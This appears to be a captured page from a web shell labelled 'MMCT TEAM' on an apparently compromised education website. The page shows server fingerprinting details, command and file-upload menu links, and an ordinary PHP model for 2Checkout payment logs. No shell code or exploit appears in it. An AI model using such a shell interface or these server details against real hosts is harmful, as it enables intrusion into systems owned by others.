MMCT TEAM
Server IP : 192.185.129.71  /  Your IP : 18.119.106.103
Web Server : Apache
System : Linux bh-ht-3.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : svymadmin ( 4072)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home4/svymadmin/public_html/vivekaexcel.edu.in/bkp/application/models/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home4/svymadmin/public_html/vivekaexcel.edu.in/bkp/application/models/Twocheckout_model.php
<?php

defined('BASEPATH') or exit('No direct script access allowed');

class Twocheckout_model extends App_Model
{
    public function add($data)
    {
        $data['created_at'] = date('c');
        $this->db->insert(db_prefix(). 'twocheckout_log', $data);
        $insert_id = $this->db->insert_id();
        if ($insert_id) {
            return true;
        }
        return false;
    }

    public function get(string $reference)
    {
        $this->db->where('reference', $reference);
        return $this->db->get(db_prefix(). 'twocheckout_log')->row();
    }

    public function delete($id)
    {
        $this->db->where('id', $id);
        $this->db->delete(db_prefix(). 'twocheckout_log');
    }
}

MMCT - 2023